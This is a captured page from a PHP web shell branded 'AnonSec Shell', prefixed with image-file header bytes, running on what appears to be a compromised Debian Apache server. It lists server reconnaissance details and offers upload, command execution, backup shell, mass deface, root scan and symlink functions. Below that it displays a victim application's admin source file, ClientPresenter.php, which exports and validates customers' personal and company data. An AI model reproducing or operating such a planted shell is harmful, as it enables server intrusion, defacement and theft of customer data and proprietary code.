JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/adminModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/adminModule/presenters/ClientPresenter.php
<?php

namespace App\adminModule\Presenters;

use App\apiModule\Presenters\ApiPresenter;
use app\Promo\console\Altus\AltusBase;
use DateTime;
use Exception;
use InvalidArgumentException;
use Nette\Application\UI\Form;
use Nette\Database\Connection;
use Nette\Database\Table\ActiveRow;
use Nette\Utils\ArrayHash;
use PHPExcel_IOFactory;
use PHPExcel_Reader_CSV;
use Promoteus\AdministratorRepository;
use Promoteus\CatalogPrintsRepository;
use Promoteus\CatalogRepository;
use Promoteus\ClientNewsletterGroupRepository;
use Promoteus\CompanyTypeRepository;
use Promoteus\Components;
use Nette\Http\FileUpload;
use Nette\Utils\Validators;
use Promoteus\ClientRepository;
use Promoteus\CountryRepository;
use Promoteus\CoursesRepository;
use Promoteus\CurrentSupplierRepository;
use Promoteus\Forms\ClientCatalogForm;
use Promoteus\Forms\ClientCloneForm;
use Promoteus\Forms\ClientForm;
use Promoteus\UserGroupRepository;
use Promoteus\PriceProfileRepository;
use Promoteus\RepositoryException;
use Promoteus\SalesManRepository;
use Tracy\Debugger;
use Ublaboo\DataGrid\DataGrid;

class ClientPresenter extends SecurePresenter
{

    // minimal length of password
    const PASSWORD_MIN_LENGTH = 8;

    const DEFAULT_SATURATION = [
        'cz' => 'Vážení zákazníci',
        'de' => 'Sehr geehrte Kunden',
        'en' => 'Dear Sir / Madam',
        'sk' => 'Vážení zákazníci'
    ];


    const DATABASE_COLUMN_TO_EXCEL_COLUMN = [
        'id' => 'ID',
        'altus_id' => 'ID ALTUS',
        'is_active' => 'AKTIVNÍ',
        'name' => 'JMÉNO',
        'surname' => 'PŘÍJMENÍ',
        'username' => 'PŘIHLAŠOVACÍ JMÉNO',
        'email' => 'E-MAIL',
        'company' => 'SPOLEČNOST',
        'id_number' => 'IČO',
        'dic' => 'DIČ',
        'prefix' => 'PREFIX',
        'salutation' => 'OSLOVENÍ',
        'degree' => 'TITUL',
        'street' => 'ULICE',
        'city' => 'MĚSTO',
        'zip' => 'PSČ',
        'country' => 'ID ZEMĚ',
        'phone' => 'TELEFON',
        'mobile' => 'MOBIL',
        'fax' => 'FAX',
        'website' => 'WEB',
        'delivery_street' => 'ULICE (DODACÍ)',
        'delivery_city' => 'MĚSTO (DODACÍ)',
        'delivery_zip' => 'PSČ (DODACÍ)',
        'delivery_mobile' => 'MOBIL (DODACÍ)',
        'newsletter' => 'NEWSLETTER',
        'user_group_id' => 'CENÍK ID',
        'is_minicatalog' => 'MA MINI KATALOG',
        'minicatalog_prefix' => 'MINI KATALOG PREFIX',
        'minicatalog_news' => 'MINI KATALOG ZPRÁVY',
        'minicatalog_admin' => 'MINI KATALOG ADMIN',
        'bonus_program' => 'MA BONUS PROGRAM',
        'bonus_points' => 'POČET BONUSOVÝCH BODŮ',
        'price_list_text' => 'VLASTNÍ TEXT CENÍKU',
        'registered_at' => 'REGISTROVANÝ',
        'logged_at' => 'POSLEDNÍ LOGIN',
        'reg_referrer' => 'REFERENCE',
        'referent' => 'REFERENT ID',
        'newsletter_group_id' => 'ID NL SKUPINY',
        'note' => 'POZNÁMKA',
        'unsubscribe_reason' => 'DŮVOD ODHLÁŠENÍ',
        'price_profile' => 'PRAFIL',
        'salesman' => 'PRÁVA',
        'logo' => 'LOGO',
        'firm_characteristic' => 'CHARAKTERISTIKA FIRMY',
        'firm_turn_from' => 'OBRAT OD',
        'firm_turn_to' => 'OBRAT DO',
        'firm_traders_count' => 'POČET OBCHODNÍKŮ',
        'firm_description' => 'POPIS FIRMY',
        'course_default' => 'VÝCHOZÍ MĚNA ID',
        'company_type' => 'TYP FIRMY',
        'activity' => 'DETAIL ČINNOSTI',
        'has_it_products' => 'MÁ NA WEBU IT PŘEDMĚTY',
        'current_supplier' => 'OD KOHO',
        'catalog_prints' => 'TIŠTĚNÝ KATALOG OBDRŽEL',
        'password' => 'HESLO',
    ];

    /** @var ClientRepository @inject */
    public $repository = NULL;

    /**
     * @var Components\IClientGridControlFactory @inject
     */
    public $gridControlFactory;

    public function renderDefault()
    {
        $this->template->countWithoutToken = $this->repository->getCountOfClientsWithoutApiToken();
        $this->template->modalModeIsEdit = $this->getParameter('id', false);
    }

    /**
     * Update klientů v db bez api tokenu
     */
    public function handleGenerateApiToken()
    {
        $clients = $this->repository->getAllClients();
        if(empty($this->repository->usedToken())) {
            foreach ($clients as $client) {
                $clientId = $client->id;
                $this->repository->updateApiToken($clientId);
            }
        }
    }
    /**
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function handleExport()
    {
        //Export
        $clients = $this->repository->getAllClients();

        /** @var CountryRepository $countryRepository */
        $countryRepository = $this->context->getService('countryRepository');
        /** @var CoursesRepository $coursesRepository */
        $coursesRepository = $this->context->getService('coursesRepository');
        /** @var AdministratorRepository $administratorRepository */
        $administratorRepository = $this->context->getService('administratorRepository');
        /** @var ClientNewsletterGroupRepository $clientNewsletterGroupRepository */
        $clientNewsletterGroupRepository = $this->context->getService('clientNewsletterGroupRepository');
        /** @var PriceProfileRepository $priceProfileRepository */
        $priceProfileRepository = $this->context->getService('priceProfileRepository');
        /** @var UserGroupRepository $userGroupRepository */
        $userGroupRepository = $this->context->getService('userGroupRepository');
        /** @var SalesManRepository $salesManRepository */
        $salesManRepository = $this->context->getService('salesManRepository');
        /** @var CatalogPrintsRepository $catalogPrintsRepository */
        $catalogPrintsRepository = $this->context->getService("catalogPrintsRepository");
        /** @var CurrentSupplierRepository $currentSupplierRepository */
        $currentSupplierRepository = $this->context->getService("currentSupplierRepository");
        /** @var CompanyTypeRepository $companyTypeRepository */
        $companyTypeRepository = $this->context->getService("companyTypeRepository");


        $document = new \PHPExcel();
        $document->setActiveSheetIndex(0);

        $i = 0;
        //header row
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ID');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ID ALTUS');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'TITUL');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'JMÉNO');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PŘIHLAŠOVACÍ JMÉNO');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PŘÍJMENÍ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'OSLOVENÍ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'E-MAIL');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'SPOLEČNOST');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'WEB');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'REFERENCE');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'IČO');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'DIČ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ULICE');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MĚSTO');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PSČ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ID ZEMĚ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ZEMĚ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'TELEFON');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MOBIL');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'FAX');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ULICE (DODACÍ)');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MĚSTO (DODACÍ)');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PSČ (DODACÍ)');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MOBIL (DODACÍ)');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'NEWSLETTER');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'AKTIVNÍ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'POSLEDNÍ LOGIN');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'REGISTROVANÝ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PRÁVA');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PRODAVAČ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'VÝCHOZÍ MĚNA ID');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'VÝCHOZÍ MĚNA');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'POZNÁMKA');

        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PREFIX');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PRAFIL');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'PRAFIL NÁZEV');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'CENÍK ID');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ZÁKAZNICKÁ SKUPINA');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'REFERENT ID');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'REFERENT');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'LOGO');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'ID NL SKUPINY');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'NL SKUPINY');

        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MA MINI KATALOG');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MINI KATALOG PREFIX');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MINI KATALOG ZPRÁVY');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MINI KATALOG ADMIN');

        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MA BONUS PROGRAM');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'POČET BONUSOVÝCH BODŮ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'VLASTNÍ TEXT CENÍKU');

        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'CHARAKTERISTIKA FIRMY');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'OBRAT OD');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'OBRAT DO');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'POČET OBCHODNÍKŮ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'POPIS FIRMY');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'DŮVOD ODHLÁŠENÍ');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'TYP FIRMY');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'DETAIL ČINNOSTI');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'MÁ NA WEBU IT PŘEDMĚTY');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'OD KOHO');
        $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'TIŠTĚNÝ KATALOG OBDRŽEL');

        $document->getActiveSheet()->setCellValueByColumnAndRow($i, 1, 'HESLO');

        $row = 2;
        foreach ($clients as $key => $client) {
            $i = 0;
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->id); //id
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->altus_id); //id v altusu
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->degree); //TITUL
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->name); //jméno
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->username); //PŘIHLAŠOVACÍ JMÉNO
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->surname); //příjmení
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->salutation); //OSLOVENÍ
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->email); //login EMAIL
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->company); //společnost
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->website); //website
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->reg_referrer); //reference
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->id_number . ' '); //IČO
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->dic . ' '); //DIČ
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->street); //ulice
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->city); //město
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->zip . ' '); //psč

            //country
            $country = $countryRepository->getCountryName($client->country);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->country); //id_země
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $country); //id_země

            //telefon
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->phone . ' '); //telefon
            //mobil
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->mobile . ' '); //mobil
            //fax
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->fax . ' '); //fax
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->delivery_street); //ulice dodací
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->delivery_city); //město dodací
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->delivery_zip . ' '); //psč dodací
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ' ' . $client->delivery_mobile . ' '); //mobil dodací
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->newsletter); //newsletter
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->is_active); //aktivní

            #TODO: jesli v DB zapsano 0000-00-00 00:00:00 tak nechat to tak.
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row,
                $client->logged_at && $client->logged_at->getTimestamp() > 0 ? $client->logged_at->format('d.m.Y H:i:s') : '0000-00-00 00:00:00');//poslední login
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row,
                $client->registered_at && $client->registered_at->getTimestamp() > 0 ? $client->registered_at->format('d.m.Y H:i:s') : '0000-00-00 00:00:00');//registrovaný

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->salesman);
            if ($client->salesman > 0 && $salesman = $salesManRepository->getById($client->salesman)) {
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $salesman->name); //Práva pro nastavení prafilu
            } else {
                $i++;
            }

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->course_default);

            if ($coursesRepository->getById($client->course_default)) {
                $currency = $coursesRepository->getById($client->course_default)->currency;
            } else {
                $currency = "";
            }
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $currency);

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->note); //poznámka
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->prefix); //prefix
            //ceníkový profil
            if ($client->price_profile) {

                $profile = $priceProfileRepository->getPriceProfile($client->price_profile);
                $price_profile_id = $profile['id'];
                $price_profile_name = $profile['name'];

            } else {
                $price_profile_id = '';
                $price_profile_name = '';

            }
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $price_profile_id);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $price_profile_name);

            //zákaznické skupiny
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->user_group_id);
            $userGroup = $userGroupRepository->getById($client->user_group_id);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $userGroup['title']);

            //referent
            if ($client->referent) {
                $admin = $administratorRepository->getAdmin($client->referent);
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $admin['id']);
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $admin['name']);
            } else {
                $i += 2;
            }

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, ""); //název loga?
            //NL skupiny
            $nl_groups = $clientNewsletterGroupRepository->getGroupsByClientId($client->id);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $nl_groups['ids']);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $nl_groups['names']);

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->is_minicatalog);
            //minicatalog
            if ($client->is_minicatalog) {
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->minicatalog_prefix);
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->minicatalog_news);
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->minicatalog_admin);
            } else {
                $i += 3;
            }

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->bonus_program);
            //bonus program
            if ($client->bonus_program) {
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->bonus_points);
            } else {
                $i += 1;
            }
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->price_list_text);

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->firm_characteristic);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->firm_turn_from);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->firm_turn_to);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->firm_traders_count);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->firm_description);

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->unsubscribe_reason);

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row,
                implode($companyTypeRepository->getClientCodeCompanyTypes(intval($client->id)), ',')
            );
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $client->activity);
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, intval($client->has_it_products));
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row,
                implode($currentSupplierRepository->getClientCedesCurrentSupplier(intval($client->id)), ',')
            );

            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row,
                implode($catalogPrintsRepository->getClientCatalogsForExport(intval($client->id)), ','));

            $document->getActiveSheet()->setCellValueByColumnAndRow($i, $row, null);//heslo
            $row++;
        }


        //style
        $document->getActiveSheet()->getStyle('A1:AF1')->getFont()->setBold(true);
        $document->getActiveSheet()->setTitle('Klienti');
        $document->getActiveSheet()->getStyle('A1:V1')->getFont()->setBold(true);
        $document->getActiveSheet()->setTitle('Klienti');


        //vygenerování exportu klientů
        $document->getActiveSheet()->setTitle('klienti');
        $documentWriter = \PHPExcel_IOFactory::createWriter($document, 'Excel2007');
        $fName = 'klienti.xlsx';
        header('Content-Type: application/vnd.ms-excel');
        header('Content-Disposition: attachment;filename="' . $fName . '"');
        header('Cache-Control: max-age=0');


        try {
            $documentWriter->save('php://output');
        } catch (\Exception $e) {
            $this->flashMessage('Vznikla chyba. Pracujeme na zlepšení.', 'danger');
            $this->redrawControl('flashes');
        }
        ob_flush();
        die;
    }

    /**
     * @param array $array
     * @param mixed $key
     * @return mixed
     * @throws Exception
     */
    /*private function getValueOrException($array, $key)
    {
        //Zkontrolovat puvodni $key
        if (key_exists($key, $array)) {
            return $array[$key];
        }

        //Zkontrolovat $key bez bilych znaku. P.S. Opravdu se stava
        $key = trim($key);
        if (key_exists($key, $array)) {
            return $array[$key];
        }

        //Reseni problemu s kodovanim. Prevod mb_convert_encoding nefunguje.
        foreach ($array as $_key => $val) {
            if (mb_strpos(trim($_key), $key) !== false) {
                return $val;
            }
        }

        //Tak nic)))
        Throw new Exception('Key ' . $key . ' no exist!');
    }*/

    /**
     * @param $data
     * @return bool
     * @throws InvalidArgumentException
     * @throws Exception
     */
    private function refactoringAndValidateData(&$data)
    {
        $data = array_map('trim', $data);

        /** @var CoursesRepository $coursesRepository */
        $coursesRepository = $this->context->getService('coursesRepository');
        /** @var SalesManRepository $salesManRepository */
        $salesManRepository = $this->context->getService('salesManRepository');
        /** @var PriceProfileRepository $priceProfileRepository */
        $priceProfileRepository = $this->context->getService('priceProfileRepository');
        /** @var UserGroupRepository $userGroupRepository */
        $userGroupRepository = $this->context->getService('userGroupRepository');
        /** @var ClientRepository $clientRepository */
        $clientRepository = $this->context->getService('clientRepository');
        /** @var CurrentSupplierRepository $currentSupplierRepository */
        $currentSupplierRepository = $this->context->getService('currentSupplierRepository');
        /** @var CompanyTypeRepository $companyTypeRepository */
        $companyTypeRepository = $this->context->getService('companyTypeRepository');

        $data['id'] = $data['id'] ? intval($data['id']) : null;
        $data['user_group_id'] = intval($data['user_group_id']);
        $data['bonus_points'] = intval($data['bonus_points']);
        $data['firm_turn_from'] = intval($data['firm_turn_from']);
        $data['firm_turn_to'] = intval($data['firm_turn_to']);
        $data['course_default'] = intval($data['course_default']);
        $data['price_profile'] = intval($data['price_profile']);
        $data['salesman'] = intval($data['salesman']);
        $data['country'] = intval($data['country']);
        $data['newsletter'] = intval($data['newsletter']);

        $data['has_it_products'] = boolval($data['has_it_products']);

        if (!$data['reg_referrer'])
            $data['reg_referrer'] = 0;

        if (!$data['id'] && empty($data['altus_id'])) {
            $data['altus_id'] = $data['email'];
            //$data['password'] = uniqid();
            //throw new InvalidArgumentException('Zadejte heslo pro uzivatele.');
        }

        if (empty($data['prefix'])) {
            unset($data['prefix']);
        }

        if (empty($data['activity'])) {
            unset($data['activity']);
        }

        if (empty($data['company_type'])) {
            $data['company_type'] = null;
        } else {
            $data['company_type'] = explode(',', $data['company_type']);
            foreach($data['company_type'] as &$item) {
                $item = trim($item);
            }
        }

        if (empty($data['catalog_prints'])) {
            $data['catalog_prints'] = null;
        }

        if (empty($data['current_supplier'])) {
            $data['current_supplier'] = null;
        } else {
            $data['current_supplier'] = explode(',', $data['current_supplier']);
            foreach($data['current_supplier'] as &$item) {
                $item = trim($item);
            }
        }

        if (empty($data['minicatalog_news'])) {
            unset($data['minicatalog_news']);
        }

        if (empty($data['registered_at'])) {
            $data['registered_at'] = (new DateTime())->format(DATE_ATOM);
        }

        if (empty($data['minicatalog_admin'])) {
            unset($data['minicatalog_admin']);
        }

        if (!empty($data['password']) && mb_strlen($data['password']) < 6) {
            throw new InvalidArgumentException(' heslo by mělo mít minimálně 6 znaků.');
        }

        if (empty($data['password'])) {
            unset($data['password']);
        }

        foreach (['is_minicatalog', 'is_active', 'has_it_products', 'bonus_program',] as $value) {
            $data[$value] = intval($data[$value]);
            if ($data[$value] > 1 || $data[$value] < 0) {
                throw new InvalidArgumentException(self::DATABASE_COLUMN_TO_EXCEL_COLUMN[$value] . ' nesmi byt ' . $data[$value] . '.');
            }
        }

        foreach (['registered_at', 'logged_at',] as $value) {
            if (empty($data[$value])) {
                continue;
            }

            if ($data[$value] === '0000-00-00 00:00:00' || empty($data[$value])) {
                $data[$value] = null;
            }

            $date = strtotime($data[$value]);


            if ($date === false) {
                $data[$value] = null;
                continue;
                //throw new InvalidArgumentException(self::DATABASE_COLUMN_TO_EXCEL_COLUMN[$value] . ' nesmi byt ' . $data[$value]);
            }

            $data[$value] = (new DateTime())->setTimestamp($date);
        }

        $data['email'] = trim($data['email']);
        if (!Validators::isEmail($data['email'])) {
            throw new InvalidArgumentException('email "' . $data['email'] . '" není validní.');
        }
        if (empty($data['salutation'])) {
            switch ($data['country']) {
                case 56:
                    $tmp = self::DEFAULT_SATURATION['cz'];
                    break;
                case 83:
                    $tmp = self::DEFAULT_SATURATION['de'];
                    break;
                default:
                    $tmp = self::DEFAULT_SATURATION['en'];
            }
            $data['salutation'] = $tmp;
        }


        foreach ($data['company_type'] ?: [] as $type) {
            if (false === $companyTypeRepository->getBy(['code' => $type])) {
                throw new InvalidArgumentException('Typ firmy "' . $type . '" neexistuji.');
            }
        }
        foreach ($data['current_supplier'] ?: [] as $type) {
            if (false === $currentSupplierRepository->getBy(['code' => $type])) {
                throw new InvalidArgumentException('Od koho "' . $type . '" neexistuji.');
            }
        }
        if (!empty($data['catalog_prints'])) {
            $catalogPrints = [];
            foreach (explode(',', $data['catalog_prints']) as $catalog) {
                $catalog = explode('-', $catalog);
                if (count($catalog) !== 4) {
                    throw new InvalidArgumentException('Nesprávný počet argumentů');
                }
                $catalogPrints[] = [
                    'year' => $catalog[0],
                    'lang' => strtolower($catalog[1]),
                    'amount' => intval($catalog[2]),
                    'price' => floatval($catalog[3]),
                ];
            }
            $data['catalog_prints'] = $catalogPrints;
        }
        if ($data['salesman'] > 0 && false === $salesManRepository->getById($data['salesman'])) {
            throw new InvalidArgumentException('prava "' . $data['salesman'] . '" neexistuji.');
        }
        if ($data['id'] && !$clientRepository->getById($data['id'])) {
            throw new InvalidArgumentException('Klient s ID "' . $data['id'] . '" neexistuje.');
        }
        if (!$data['id'] && !$clientRepository->isEmailAvailable($data['email'], $data['id'])) {
            throw new InvalidArgumentException('email "' . $data['email'] . '" uz existuje.');
        }
        if (!$data['id'] && !$clientRepository->isAltusIdAvailable($data['altus_id'], $data['id'])) {
            throw new InvalidArgumentException('ID ALTUS "' . $data['altus_id'] . '" uz existuje.');
        }
        if (!$data['id'] && !$clientRepository->isUsernameAvailable($data['username'], $data['id'])) {
            throw new InvalidArgumentException('PŘIHLAŠOVACÍ JMÉNO "' . $data['username'] . '" uz existuje.');
        }
        if ($data['user_group_id'] && $data['user_group_id'] > 0 && $userGroupRepository->getById($data['user_group_id']) === false) {
            throw new InvalidArgumentException('CENÍK ID ' . $data['user_group_id'] . ' neexistuje.');
        }
        if ($data['price_profile'] && $data['price_profile'] > 0 && $priceProfileRepository->getPriceProfile($data['price_profile']) === false) {
            throw new InvalidArgumentException('PRAFIL ' . $data['price_profile'] . ' neexistuje.');
        }
        if ($coursesRepository->getById($data['course_default']) === false) {
            throw new InvalidArgumentException('VÝCHOZÍ MĚNA ID ' . $data['course_default'] . ' neexistuje.');
        }
        return true;
    }

